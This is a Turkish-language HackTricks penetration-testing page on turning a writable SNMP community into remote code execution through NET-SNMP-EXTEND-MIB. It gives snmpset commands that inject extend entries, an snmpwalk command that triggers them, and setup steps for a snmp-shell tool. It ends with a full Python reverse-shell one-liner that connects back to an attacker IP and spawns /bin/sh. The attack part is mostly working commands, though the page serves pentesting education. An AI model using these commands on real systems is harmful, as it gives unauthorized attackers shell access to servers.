hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md

74 lines
5.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# SNMP RCE
SNMP, yönetici cihaz veya sunucudaki varsayılan yapılandırmayı göz ardı ederse bir saldırgan tarafından istismar edilebilir. **Yazma izinlerine sahip SNMP topluluğunu (rwcommunity)** kötüye kullanarak, saldırgan sunucuda komutlar çalıştırabilir.
## Ek Komutlarla Hizmetleri Genişletme
SNMP hizmetlerini genişletmek ve ek komutlar eklemek için, "nsExtendObjects" tablosuna yeni **satırlar eklemek** mümkündür. Bu, `snmpset` komutunu kullanarak ve gerekli parametreleri, yürütülebilir dosyanın mutlak yolu ve çalıştırılacak komut dahil olmak üzere sağlayarak gerçekleştirilebilir:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```
## Komutların Çalıştırılması için Enjekte Edilmesi
SNMP hizmetinde çalıştırılacak komutların enjekte edilmesi, çağrılan ikili/dosyanın varlığını ve çalıştırılabilirliğini gerektirir. **`NET-SNMP-EXTEND-MIB`** çalıştırılabilir dosyanın mutlak yolunu sağlamayı zorunlu kılar.
Enjekte edilen komutun çalıştırıldığını doğrulamak için, `snmpwalk` komutu SNMP hizmetini listelemek için kullanılabilir. **Çıktı, komutu ve ona bağlı ayrıntıları, mutlak yol da dahil olmak üzere, gösterecektir:**
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
## Enjekte Edilen Komutların Çalıştırılması
**Enjekte edilen komut okunduğunda, çalıştırılır.** Bu davranış **`run-on-read()`** olarak bilinir. Komutun yürütülmesi, snmpwalk okuması sırasında gözlemlenebilir.
### SNMP ile Sunucu Shell Elde Etme
Sunucu üzerinde kontrol sağlamak ve bir sunucu shell elde etmek için, mxrch tarafından geliştirilen bir python script'i [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git) adresinden kullanılabilir.
Alternatif olarak, SNMP'ye belirli bir komut enjekte ederek manuel olarak bir ters shell oluşturulabilir. Bu komut, snmpwalk tarafından tetiklenir ve saldırganın makinesine bir ters shell bağlantısı kurarak, kurban makinesi üzerinde kontrol sağlar.
Bunu çalıştırmak için ön koşulu yükleyebilirsiniz:
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```
Veya bir ters kabuk:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
## Referanslar
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}